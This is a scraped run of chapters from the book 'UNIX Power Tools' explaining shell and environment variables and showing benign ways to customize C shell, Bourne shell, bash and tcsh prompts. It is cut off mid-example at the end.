Previous: 6.7 What Time Is It in Japan? Chapter 6
Shell and Environment Variables 		Next: 6.9 Special C Shell Variables

6.8 Shell Variables

Shell variables are really just the "general case" of environment variables (6.1). If you're a programmer, remember that a UNIX shell really runs an interpreted programming language. Shell variables belong to the shell; you can set them, print them, and work with them much as you can in a C program (or a FORTRAN program or a BASIC program). If you're not a programmer, just remember that shell variables are pigeonholes that store information for you or your shell to use.

If you've read the section on environment variables, you realize that we defined them in exactly the same way. How are shell variables different from environment variables? Whenever you start a new shell or a UNIX program, it inherits all of its parent's environment variables. However, it does not inherit any shell variables; it starts with a clean slate. If you're a programmer, you can think of environment variables as "global" variables, while shell variables are "local" variables. By convention, shell variables have lowercase names.

Just as some programs use certain environment variables, the shell expects to use certain shell variables. For example, the C shell uses the history (11.1) variable to determine how many of your previous commands to remember; if the noclobber (13.6) variable is defined, the C shell prevents you from damaging files by making mistakes with standard output. Most users insert code into their .cshrc files (2.2) to define these important variables appropriately.

To set a shell variable, use one of these commands:

% set name=value   C shell
$ name=value   Bourne shell

As a special case, if you omit value, the shell variable is set to a "null" value. For example, the following commands are valid:

% set name   C shell
$ name=   Bourne shell

This is important: giving a variable a null value is not the same as deleting the value. Some programs look at variables to see whether or not they exist; they don't care what the actual value is, and an empty value is as good as anything else. If you want to make the shell forget that a variable ever existed, use the unset command. Unfortunately, older Bourne shells don't have a command like unset:

% unset name   C shell
$ unset name   Bourne shell

If you want to list all of your environment variables, use the command printenv (Berkeley UNIX) or env (System V). [1] If you want to list all of your Bourne or C shell variables, just type set. Here's a typical report in the C shell:

[1] printenv and env are external (1.10) commands; they work with any shell.

% set
argv    ()
cwd     /home/los/mikel/power/articles
history 40
home    /home/los/mikel
noclobber
path    (/home/los/mikel/bin /usr/local/bin /usr/ucb /bin /usr/bin .)
prompt  los%
shell   /bin/csh
status  0
term    sun
user    mikel

If you want to print the value of an individual variable, give the command:

% echo "$variable-name"

(While the example above gives a C shell prompt, this command works in all UNIX shells.)

Whenever you need the value of a shell variable - not just with echo (8.6)- you need to put a dollar sign ($) in front of the name. You don't need the dollar sign when you're assigning a new value to a shell variable. You can also stick curly braces ({}) around the name, if you want (e.g., ${name}); when you're writing shell programs, this can often make your code much clearer. Curly braces are mostly used when you need to separate the variable name from what comes after it.

But that's getting us out of the range of interactive variable use and into shell programming (44.1).

- ML

Previous: 6.7 What Time Is It in Japan? | UNIX Power Tools | Next: 6.9 Special C Shell Variables
6.7 What Time Is It in Japan? | Book Index | 6.9 Special C Shell Variables
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.9 Special C Shell Variables

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 6.8 Shell Variables Chapter 6
Shell and Environment Variables 		Next: 6.10 Running a Command with a Temporarily Different Environment

6.9 Special C Shell Variables

[Sorry, no articles about bash and tcsh variables. This book focuses on the "base" shells, sh and csh. csh variables work in tcsh, and many work (in slightly different forms) with bash too. For a complete list, check your bash or tcsh manpage. -JP]

The C shell recognizes and uses environment variables, but it also uses a great many simple shell variables (6.8) to control its own operation. These variables don't need to be put into the environment so they can be passed to subshells (38.4), because every instance of the C shell always reads the .cshrc file (2.2). Simple shell variables set there are thus propagated to every C shell.

Many of the special C shell variables are simply used as flags; that is, they need not be set to any particular value. The shell simply tests whether they exist or not. They are set simply by saying:

set variable

rather than:

set variable=value

Here are some of the special variable names used by the C shell:

  • The cdpath (14.5) variable stores a list of directories. You can cd to subdirectories of these by typing just the subdirectory name.

  • If the echo (8.17) variable is set, the shell will show the command line, after all variable and history (11.7) substitutions, before executing it. (This is very handy for debugging scripts such as .cshrc.)

    If the verbose (8.17) variable is set, the shell will show the command line after history substitution but before any other substitutions.

    The Bourne shell -v and -x options (46.1) work like the verbose and echo variables.

  • If the filec or complete variable is set, the shell performs filename completion (9.8). The fignore (9.9) variable makes filename completion skip filenames that end with certain characters like .o.

  • The cwd (14.13) variable shows the absolute pathname of the current directory. The cd, pushd, and popd commands set it.

  • The hardpaths (14.13) variable fixes errors in the cwd variable that occur when you cd through symbolic links.

  • Use the histchars (11.15) variable to set different history characters than exclamation point (!) and caret (^).

  • The history (11.1) variable stores the number of shell command lines to save. The savehist (11.11) variable stores the number of lines of shell history to be saved when you log out. This amount of history is saved in a file called .history in your home directory, and the lines are restored the next time you log in.

  • If you set ignoreeof (3.5), the shell won't respond to the end-of-file character (CTRL-d) and will require you to type logout or exit (38.4) to log out. This can save you from ending the shell accidentally (or logging out).

  • The shell can tell you about new electronic mail (1.33) or changes in other files with the mail (21.8) variable.

  • Stop the > redirection character from overwriting files with noclobber (13.6).

  • The noglob variable stops wildcard expansion (15.1). (There's an example in article 5.4.)

  • Set nonomatch when you want the C shell to treat nonmatching wildcards like the Bourne shell does . (15.4)

  • The notify (12.6) variable asks the shell to tell you right away if a background job finishes or is stopped.

  • The list of directories that the shell searches for commands is stored in path (6.5).

  • Your login name from the USER or LOGNAME (6.3) environment variable is also stored in the C shell variable named user.

  • The shell's command-line prompt is set by the prompt (7.2) variable. (The PS1 (6.3) environment variable is the Bourne shell equivalent. You can set the Bourne shell's secondary prompt (9.13), too, in PS2.)

  • The exit status (44.7) of the last command is stored in the csh variable named status and the sh ? (question mark) variable.

  • If a job takes more CPU seconds than the number set in the time (39.3) variable, the csh will print a line of statistics about the job.

- JP, TOR

Previous: 6.8 Shell Variables | UNIX Power Tools | Next: 6.10 Running a Command with a Temporarily Different Environment
6.8 Shell Variables | Book Index | 6.10 Running a Command with a Temporarily Different Environment
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.10 Running a Command with a Temporarily Different Environment

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 6.9 Special C Shell Variables Chapter 6
Shell and Environment Variables 		Next: 7. Setting Your Shell Prompt

6.10 Running a Command with a Temporarily Different Environment

Quite a few UNIX commands set themselves up by reading the environment. For example, the vi editor reads startup commands from the EXINIT environment variable. Sometimes, you'll want to override the setting of an environment variable for just one command. There's an easier way than setting the variable to a different value and changing it back after you run the command:

  • In the Bourne shell, type:

    $ VARNAME=value command args

  • In the C shell on UNIX systems that have the env command, type:

    % env VARNAME=value command args

  • Or, in any C shell, use a subshell (13.7) like this:

    % (setenv VARNAME value; command args)

For example, if your EXINIT variable has:

set wrapscan showmatch number

and you want to add nowrapscan to the end of it just this once, you could type (to the Bourne shell):

$
$ EXINIT="$EXINIT nowrapscan" vi afile

After that vi command ran, EXINIT wouldn't contain nowrapscan.

For a great example of this technique, see article 6.7.

- JP

Previous: 6.9 Special C Shell Variables | UNIX Power Tools | Next: 7. Setting Your Shell Prompt
6.9 Special C Shell Variables | Book Index | 7. Setting Your Shell Prompt
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] Setting Your Shell Prompt

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 6.10 Running a Command with a Temporarily Different Environment Chapter 7 Next: 7.2 Basics of Setting the Prompt

7. Setting Your Shell Prompt

Contents:
Why Change Your Prompt?
Basics of Setting the Prompt
C Shell Prompt Causes Problems in vi, rsh, etc.
Faster Prompt Setting with Built-Ins
Multiline Shell Prompts
Session Information in Your Terminal's Status Line
A "Menu Prompt" for Naive Users
Highlighting in Shell Prompts
Show Subshell Level with $SHLVL
What Good Is a Blank Shell Prompt?
dirs in Your Prompt: Better than $cwd
External Commands Send Signals to Set Variables
Pre-Prompt Commands in bash

7.1 Why Change Your Prompt?

A percent sign (%) is the default C shell prompt on many systems. Not too useful, is it? All that prompt tells you is that you're logged in.

If you're good at remembering your current directory name, the computer you're logged in to, your current login name, and more - and, if you never leave your terminal for long - maybe that prompt is enough.

But I forget that kind of stuff. I log in quite a few places and I get interrupted a lot. Without more information in my prompt, I'd always be trying to figure out where I am - typing pwd or who am I.

I've changed my prompt to give me the information I need. My prompt can't do everything I want (at least, not on the C shell), but it makes life a lot easier.

Besides, playing around with your prompt can be fun. It's one of the most popular UNIX games, especially for newcomers.

This chapter should get you started. The first few articles cover basics. The rest of the articles show some different prompts and how to make them. Play around. See what works best for you.

- JP

Previous: 6.10 Running a Command with a Temporarily Different Environment | UNIX Power Tools | Next: 7.2 Basics of Setting the Prompt
6.10 Running a Command with a Temporarily Different Environment | Book Index | 7.2 Basics of Setting the Prompt
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.2 Basics of Setting the Prompt

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 7.1 Why Change Your Prompt? Chapter 7
Setting Your Shell Prompt 		Next: 7.3 C Shell Prompt Causes Problems in vi, rsh, etc.

7.2 Basics of Setting the Prompt

The prompt displayed by your shell is contained in a shell variable (6.8) called prompt in the C shell and PS1 in the Bourne shell. As such, it can be set like any other shell variable. [bash and tcsh have plenty of extra features for those two variables. There are examples in later articles. -JP]

So, for example, if I wanted to change my C shell prompt to include my login name, I might put the following command into my .cshrc file:

set prompt="tim % "

(It's helpful to leave the % at the end so that it remains obvious that this is a C shell. The space after the % makes the command you type stand out from the rest of the prompt.)

Or if I wanted to put in the name of the system I was currently logged in on, I might say:

`...` uname -n
set prompt="`uname -n` % "

If I wanted to include the history number for each command, (11.1) I'd say:

set prompt="\! % "

Or if I wanted all three things:

set prompt="tim@`uname -n` \!% "

This will give me a prompt like this:

tim@isla 43%

- TOR

Previous: 7.1 Why Change Your Prompt? | UNIX Power Tools | Next: 7.3 C Shell Prompt Causes Problems in vi, rsh, etc.
7.1 Why Change Your Prompt? | Book Index | 7.3 C Shell Prompt Causes Problems in vi, rsh, etc.
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.3 C Shell Prompt Causes Problems in vi, rsh, etc.

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 7.2 Basics of Setting the Prompt Chapter 7
Setting Your Shell Prompt 		Next: 7.4 Faster Prompt Setting with Built-Ins

7.3 C Shell Prompt Causes Problems in vi, rsh, etc.

[Stray prompts can cause trouble for many commands that start a noninteractive shell. This problem may have been fixed in your C shell. The point Chris makes about speeding up your .cshrc still applies, though. -JP]

If you set prompt in your .cshrc file without carefully checking first whether or not prompt was already set (2.9), many versions of the C shell will cheerfully print prompts into the pipe vi uses to expand glob characters [ filename wildcards (*, ?, []) (1.16) and the tilde (~) (14.11) -JP ].

When you type :r abc*, vi opens a pipe to the C shell and writes the command echo abc* down the pipe, then reads the response. If the response contains spaces or newlines, vi gets confused. If you set your prompt to (n) in your .cshrc [i.e., if you show the history number in parentheses as the prompt-TOR ], vi tends to get:

(1) abc.file (2)

back from the C shell, instead of just abc.file.

The solution is to kludge your .cshrc (2.9) like this:

if $?prompt

if ($?prompt) then
    # things to do for an interactive shell, like:
    set prompt='(\!) '
endif

This works because a noninteractive shell has no initial prompt, while an interactive shell has it set to % .

If you have a large .cshrc, this can speed things up quite a bit when programs run other programs with csh -c 'command', if you put all of it inside that test.

- CT in net.unix-wizards on Usenet, 22 April 1984

Previous: 7.2 Basics of Setting the Prompt | UNIX Power Tools | Next: 7.4 Faster Prompt Setting with Built-Ins
7.2 Basics of Setting the Prompt | Book Index | 7.4 Faster Prompt Setting with Built-Ins
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.4 Faster Prompt Setting with Built-Ins

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 7.3 C Shell Prompt Causes Problems in vi, rsh, etc. Chapter 7
Setting Your Shell Prompt 		Next: 7.5 Multiline Shell Prompts

7.4 Faster Prompt Setting with Built-Ins

To set your prompt, you execute a command (on most shells, the command sets a shell variable). Before setting the prompt, you may run other commands to get information for it: the current directory name, for example. A shell can run two kinds of commands: built-in and external (1.10). Built-in commands usually run faster than external commands. On a slow computer, the difference may be important - waiting a few seconds for your prompt to reset can get irritating. Creative use of your shell's built-in commands might pay off there. Let's look at some examples:

  1. pwd is an external command that searches the filesystem (14.4) to find your current directory name. (pwd is built into some shells, but that version doesn't search the filesystem.) However, some shells can give you the current directory name from a variable, usually $cwd or $PWD. On slow computers, the first prompt-setting command below would take more time:

    `...`
    set prompt="`pwd`% "
set prompt="${cwd}% "

    There's a tradeoff here, though - the shell built-in may not (14.13) give the right answer. Also, in the C shell, each time you change to a new directory, you need to run a new set prompt command; you can use an alias like setprompt (7.5) to do this automatically.

  2. If you're putting your current directory in your prompt, you may only want the tail of the pathname (the name past the last slash). How can you edit a pathname? Most people think of basename (45.18) or sed (34.24). Using the current directory from $cwd, they might type:

    set prompt="`basename $cwd`% "

    The faster way is with the C shell's built-in "tail" operator, :t:

    {}
    set prompt="${cwd:t}% "

    If your current directory is /usr/users/hanna/projects, either of those prompts would look like this (with a space after the percent sign):

    projects%

    The C shell has several of these built-in string operators (9.6) like :t; the Korn Shell and bash have more-powerful string operators (9.7).

  3. The Korn shell and bash can include the current value of another shell variable in their prompt. So, put $PWD (6.3) in your prompt string (the PS1 shell variable) and the prompt will always show the current directory. Or use any other variable; anytime it changes, the prompt will change too. The important trick is to store the prompt with single quotes ('), not double quotes ("), so that the variable name in your prompt won't be evaluated (8.14, 8.5) until the prompt is actually printed to the screen.

    For example, I'll put the current directory and the value of a variable named PSX in my prompt. When I change either, the prompt changes too:

    $ PSX=foo
$ PS1='$PWD $PSX\$ '
/home/jerry foo$ PSX=bar
/home/jerry bar$ cd ..
/home bar$

  4. tcsh and bash also have special prompt string customizations that let you include the hostname, username, time, and more. You don't need external UNIX commands; you don't need to use an alias like setprompt to reset your prompt string.

    For example, to make your shell prompt show your current directory, a newline character (to move to the next line of a two-line prompt (7.5)), then the current time, and finally a $ or %:

    PS1='$PWD\n\t \$ '            ...bash
set prompt = '%~\\            ...tcsh
%p%% '

    For more information, see O'Reilly & Associates' Using csh & tcsh and Learning the bash Shell-or your shell's manpage.

So, if your prompt takes too long to set, look for built-ins that can save time. As another example, article 7.11 shows how to use dirs in a shell prompt.

- JP

Previous: 7.3 C Shell Prompt Causes Problems in vi, rsh, etc. | UNIX Power Tools | Next: 7.5 Multiline Shell Prompts
7.3 C Shell Prompt Causes Problems in vi, rsh, etc. | Book Index | 7.5 Multiline Shell Prompts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.5 Multiline Shell Prompts

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 7.4 Faster Prompt Setting with Built-Ins Chapter 7
Setting Your Shell Prompt 		Next: 7.6 Session Information in Your Terminal's Status Line

7.5 Multiline Shell Prompts

Lots of people like lots of information in their prompts: hostname, directory name, history number, maybe username. Lots of people have spent lots of time trying to make their prompts short enough to fit across the screen and still leave room for typing a command longer than ls:

<elaineq@applefarm> [/usr/elaineq/projects/april/week4] 23 % ls

Even with fairly short prompts, if you look back at a screen after running a few commands, telling the data from the prompts can be a little tough (real terminals don't show user input in boldface, so I won't do it here either):

'\" DON'T BOLDFACE USER'S INPUT HERE, SO IT BLENDS TOGETHER LIKE REAL SCREEN:
<elaineq@applefarm> [~] 56% cd beta
<elaineq@applefarm> [~/beta] 57% which prog
/usr/tst/applefarm/bin/beta/prog
<elaineq@applefarm> [~/beta] 58% prog
61,102 units inventoried; 3142 to do
<elaineq@applefarm> [~/beta] 59%

One nice answer is to make a prompt that has more than one line. Here's part of a .cshrc file that sets a three-line prompt: one blank line, one line with the hostname and current directory, and a third with the history number and a percent sign:

uname -n

{..}

set hostname=`uname -n`
alias setprompt 'set prompt="\\
${hostname}:${cwd}\\
\! % "'
alias cd 'chdir \!* && setprompt'
setprompt           # to set the initial prompt

The prompts look like this:

applefarm:/usr/elaineq/projects/april/week4
23 % prog | tee /dev/tty | mail -s "prog results" bigboss@corpoffice
61,102 units inventoried; 3142 to do

applefarm:/usr/elaineq/projects/april/week4
24 % cd ~/beta

applefarm:/usr/elaineq/beta
25 % prog | mail joanne

The blank lines separate each command - though you may want to save space by omitting them. For example, Mike Sierra (here at O'Reilly & Associates) uses a row of asterisks:

***** 23 *** <mike@mymac> *** /home/mike/calendar *****
% cd September
***** 24 *** <mike@mymac> *** /home/mike/calendar/September *****
%

You don't need a multiline prompt-setting command to get a newline into bash prompts. Just put a \n (which stands for a newline character) anywhere you want the prompt to break to a new line.

What I like best about multiline prompts is that you get a lot of information but have the whole screen width for typing. Of course, you can put different information in the prompt than I've shown here. The important idea is: if you want more information and need room to type, try a multiline prompt.

- JP

Previous: 7.4 Faster Prompt Setting with Built-Ins | UNIX Power Tools | Next: 7.6 Session Information in Your Terminal's Status Line
7.4 Faster Prompt Setting with Built-Ins | Book Index | 7.6 Session Information in Your Terminal's Status Line
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.6 Session Information in Your Terminal's Status Line

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 7.5 Multiline Shell Prompts Chapter 7
Setting Your Shell Prompt 		Next: 7.7 A "Menu Prompt" for Naive Users

7.6 Session Information in Your Terminal's Status Line

Some people don't like to put the current directory, hostname, etc. into their prompts because it makes the screen look cluttered to them. Here's another idea. If your terminal or window system has a status line or title bar, you might be able to put the information there. That's nice because you'll be able to see the information while you run programs. The bad side is that the information can get out-of-date if you use a command that takes you to another host or directory without updating the status line.

When you cd, an alias uses the echo command to write special escape sequences (5.8) (terminal commands) to the terminal or window.

Here's a cd alias and other commands for your .cshrc file. If I were logged in to www.jpeek.com in the directory /home/jpeek, this alias would put:

www:/home/jpeek

in the status area. Of course, you can change the format of the status line. Change the command string below, ${host:h}:${cwd}, to do what you need.

echo...033

&&
set e="`echo -n x | tr x \\033`"   # Make an ESCape character

set host=`uname -n`
# Puts $host and $cwd in VT102 status line. Escape sequences are:
# ${e}7 = save cursor position, ${e}[25;1f = go to start of status
# line (line 25), ${e}[0K = erase line, ${e}8 = restore cursor
alias cd 'chdir \!* && \\
   echo -n "${e}7${e}[25;1f${e}[0K    ${host:h}:${cwd}${e}8"'

If you always use a VT102-type terminal (and many people do), that alias will work fine. If you use a different terminal, read its manual or its termcap/terminfo entry (41.11) and find the escape sequences that work for it.

People who use more than one type of terminal, that aren't all VT102-compatible, can add a case (44.5) or switch (47.6) to test the terminal type and use a cd alias written for that terminal. (The alias can also put the status information in the shell prompt on terminals that don't have a status line.) But you might have some trouble: if the alias is defined in your .cshrc file but your terminal type is set in your .login file, the terminal type may not be set until after the alias has been read. There are workarounds (2.7).

The status line can also get out of sync with reality if you use remote logins (1.33), subshells (38.4), and other things. These might put a new prompt in the status line but not reset the original prompt when it should be reset. The easiest workaround for this is by using the command below to change directory to the current directory (.) and reset the status line:

% cd .

- JP

Previous: 7.5 Multiline Shell Prompts | UNIX Power Tools | Next: 7.7 A "Menu Prompt" for Naive Users
7.5 Multiline Shell Prompts | Book Index | 7.7 A "Menu Prompt" for Naive Users
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.7 A "Menu Prompt" for Naive Users

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 7.6 Session Information in Your Terminal's Status Line Chapter 7
Setting Your Shell Prompt 		Next: 7.8 Highlighting in Shell Prompts

7.7 A "Menu Prompt" for Naive Users

Some people don't want to be faced with a UNIX % or $ shell prompt. If you usually run only a few particular UNIX commands, you can put those command names in the shell prompt. Here's a simple one-line Bourne shell prompt for a .profile:

PS1='Type "rn", "mailx", "wp", or "logout": '

Next, a multiline prompt (7.5) for the C shell .cshrc file:

($?prompt)

if ($?prompt) then
set prompt='\\

Type "rn" to read the news,\\
type "mailx" to read and send mail,\\
type "wp" for word processing, or\\
type "logout" to log out.\\
YES, MASTER? '
endif

You get the idea.

- JP

Previous: 7.6 Session Information in Your Terminal's Status Line | UNIX Power Tools | Next: 7.8 Highlighting in Shell Prompts
7.6 Session Information in Your Terminal's Status Line | Book Index | 7.8 Highlighting in Shell Prompts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.8 Highlighting in Shell Prompts

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 7.7 A "Menu Prompt" for Naive Users Chapter 7
Setting Your Shell Prompt 		Next: 7.9 Show Subshell Level with $SHLVL

7.8 Highlighting in Shell Prompts

If your prompt has some information that you want to stand out - or if you want your whole prompt to stand out from the rest of the text on the screen - you might be able to make it in enhanced characters. If your terminal has special escape sequences (5.8) for enhancing the characters (and most do), you can use them to make part or all of your prompt stand out.

csh_init
Let's say that you want to make sure people notice that they're logged in as root (the superuser) by making part of the root prompt flash. Here are lines for the root .cshrc: sh_init

echo...033
uname -n
# Put ESCape character in $e.  Use to start blinking mode (${e}[5m)
# and go back to normal mode (${e}[0m) on VT100-series terminals:
set e="`echo x | tr x \\033`"
set prompt="${e}[5mroot${e}[0m@`uname -n`# "

That prompt might look like this, with the word root flashing:

root@sys.ora.com#

The prompt is set inside double quotes ("), so the uname -n command is run once, when the PS1 string is first stored. In some shells, like bash and pdksh, you can put single quotes (') around the PS1 string; this stores the backquotes (`) in the string, and the shell will interpret them before it prints each prompt. (In this case, that's useless because the output of uname -n will always be the same. But if you want constantly updated information in your prompt, it's very handy.) Article 8.14 tells more.

Because the same escape sequences won't work on all terminals, it's probably a good idea to add an if test (47.3) that only sets the prompt if the terminal type $TERM is in the Digital Equipment Corporation VT100 series (or one that emulates it). Table 7.1 shows a few escape sequences for VT100 and compatible terminals. The ESC in each sequence stands for an ESCape character.

Table 7.1: VT100 Escape Sequences for Highlighting
Sequence | What it Does
ESC[1m | Bold, intensify foreground
ESC[4m | Underscore
ESC[5m | Blink
ESC[7m | Reverse video
ESC[0m | All attributes off

Of course, you can use different escape sequences if your terminal needs them. Better, read your terminal's terminfo or termcap database with a program like tput or tcap (41.10) to get the correct escape sequences for your terminal. Store the escape sequences in shell variables (6.8).

bash interprets octal character strings in the prompt. So you can simplify the two commands above into the version below. Change the backquotes (`...`) to $( and ) (9.16) if you want:

PS1="\033[5mroot\033[0m@`uname -n`# "

Eight-bit-clean versions of tcsh can put standout, boldface, and underline - and any other terminal escape sequence, too - into your shell prompt. For instance, %S starts standout mode and %s ends it; the tcsh manpage has details for your version.

For example, to make the same prompt as above with the word root in standout mode (tcsh puts the hostname into %m):

set prompt = '%Sroot%s@%m# '

- JP

Previous: 7.7 A "Menu Prompt" for Naive Users | UNIX Power Tools | Next: 7.9 Show Subshell Level with $SHLVL
7.7 A "Menu Prompt" for Naive Users | Book Index | 7.9 Show Subshell Level with $SHLVL
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.9 Show Subshell Level with $SHLVL

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 7.8 Highlighting in Shell Prompts Chapter 7
Setting Your Shell Prompt 		Next: 7.10 What Good Is a Blank Shell Prompt?

7.9 Show Subshell Level with $SHLVL

If you're like me, when you start a shell escape (30.26) or any subshell (38.4), you can forget that you aren't in your login shell. Your shell history (11.1) might get confused, shell variables (6.8) may not be set, and other problems may come up. tcsh (8.3) and bash (8.2) have a built-in SHLVL environment variable (6.1) that lets you track how many subshells deep your current shell is. This article shows how to set up SHLVL for the C shell. (You could use a similar setup with ksh, if you set its ENV (6.3) environment variable.) tcsh (and the csh setup below, too) also have a shlvl shell variable with the same information.

In your top-level shell, the value of $shlvl is 1 (one). In the first subshell, it's 2; in a sub-subshell, it's 3; and so on. You can use this to control your shell startup files - for example, have some commands in your .cshrc that run when you first log in (and $shlvl is 1), but don't run in subshells. You can also put $shlvl in your prompt (7.1) (but only during subshells, if you'd like - as a reminder that you aren't in your top-level shell). You can set your prompt to mike% in top-level shells, (1) mike% in a first-level subshell, (2) mike% in a second-level subshell, and so on. Here's some sample prompt-setting code for your .cshrc:

# If this is a subshell, put shell level in prompt:
if ($SHLVL == 1) then
    set prompt="${USER}% "
else
    set prompt="($SHLVL) ${USER}% "
endif

bash doesn't need an if because login shells read your .bash_profile (or .profile)-and subshells read your .bashrc. Here are commands to set the prompts I mentioned above:

PS1='\u\$ '             ...for the .bash_profile

PS1='($SHLVL) \u\$ '    ...for the .bashrc

Both bash and tcsh use the same environment variable, so you can start one shell from the other and the level will be correct. Here's how to make csh work with tcsh and bash-or work on its own, if you don't use the other shells. Put the following lines in your .cshrc file: [1]

[1] Do you use both csh and tcsh-and use the same .cshrc file for both shells? tcsh shouldn't execute the three lines starting with set shlvl; it already sets those variables. Surround those three lines with if (! $?tcsh) and endif.

shlvm

$?prompt

# Stuff for top-level logins and rsh's...
if (! $?SHLVL) then
    # This section read by both interactive and non-interactive shells.
    #
    # $SHLVL has never been set.  Set it to show that this is
    # is a top-level shell; increment it to 1 below:

    setenv SHLVL 0
    ...
endif

# Set shell level (depth of nested shells).
# (Note: csh can't do arithmetic on environment variables.)
set shlvl = $SHLVL
@ shlvl++
setenv SHLVL $shlvl

if ($?prompt) then
    # This section only read by interactive shells:
    ...put prompt-setting code (from above) here
endif

Does your account run a windowing system that's started from your top-level shell startup file (like .login)? If it does, lines like the examples below (these are for .login) will reset SHLVL so that the shell in the window will start at a SHLVL of 1-and act like a top-level shell. This code assumes that your first login shell starts on the tty named /dev/console, and that the windows that open won't have a tty named /dev/console. (If you aren't sure, check who (51.4).) You may need to adapt this. The trick is to make SHLVL 0 (zero) before you start the windowing system. When the windows' shells start, they'll raise SHLVL to 1:

# If on workstation console, bury this shell and run X right away:
if ("`/bin/tty`" == /dev/console) then
   setenv SHLVL 0
   xinit            # Start X window system
endif

Getting this to work right in every situation (rsh (1.33), su (22.22), shell escapes (30.26)- both interactive and noninteractive, subshells, window systems, at jobs (40.3), and so on) can be a challenge (2.7)! It takes a little planning. Sit down and think about all the ways you start subshells... which subshells are interactive and which aren't... and whether they'll get SHLVL passed from their parent process (if you aren't sure, test that with an env or printenv command (6.1)). Then plan which kind of shell needs which SHLVL settings. If it gets too complicated, make it work in most cases! If you use many subshells, this system is too handy to ignore.

- JP

Previous: 7.8 Highlighting in Shell Prompts | UNIX Power Tools | Next: 7.10 What Good Is a Blank Shell Prompt?
7.8 Highlighting in Shell Prompts | Book Index | 7.10 What Good Is a Blank Shell Prompt?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.10 What Good Is a Blank Shell Prompt?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 7.9 Show Subshell Level with $SHLVL Chapter 7
Setting Your Shell Prompt 		Next: 7.11 dirs in Your Prompt: Better than $cwd

7.10 What Good Is a Blank Shell Prompt?

[This tip is also great if you use a mouse to copy and paste command lines in your window.]

Some terminals I've used (like old Hewlett-Packard and Tektronix terminals) had local editing. You could move your cursor up the screen to a previous command line, maybe make some edits to it, then press a SEND LINE key to resend that line to the host. This didn't have anything to do with sophisticated command-line editing (11.13) like some UNIX shells have now. Maybe your terminal can do that, too.

The problem was that unless I erased the shell prompt (%) on my screen, it would be sent back to the shell and give the error "%: Command not found." So I set my shell prompt to this:

set prompt='     '

That's right: four spaces. Most UNIX commands start their output at column 1, so my command lines were easy to find because they were indented. And the shell didn't care if I sent four spaces before the command line. So everything was fine until I got my new terminal without a SEND LINE key...

(If you want some information in your prompt, too, make a multiline prompt (7.5) with four spaces in the last line.)

- JP

Previous: 7.9 Show Subshell Level with $SHLVL | UNIX Power Tools | Next: 7.11 dirs in Your Prompt: Better than $cwd
7.9 Show Subshell Level with $SHLVL | Book Index | 7.11 dirs in Your Prompt: Better than $cwd
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.11 dirs in Your Prompt: Better than $cwd

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 7.10 What Good Is a Blank Shell Prompt? Chapter 7
Setting Your Shell Prompt 		Next: 7.12 External Commands Send Signals to Set Variables

7.11 dirs in Your Prompt: Better than $cwd

The C shell gives the absolute pathname of your current directory in $cwd (14.13). Many people use that in their prompts. If you use the pushd and popd (14.6) commands, you may not always remember exactly what's in your directory stack (I don't, at least). Also, do you want to shorten your home directory pathname to just a tilde (~) so it takes less room in the prompt? Here's how: run the dirs command and use its output in your prompt. A simple alias for cd users looks like this:

alias cd 'chdir \!* && set prompt="`dirs`% "'

and the prompts look like:

/work/project % cd
~ % cd bin
~/bin %

Here's what to put in .cshrc to make a multiline prompt (7.5) that shows the directory stack:

uname -n
expr

# PUT hostname.domain.name IN $hostname AND hostname IN $HOST:
set hostname=`uname -n`
setenv HOST `expr $hostname : '\([^.]*\).*'`

alias setprompt 'set prompt="\\
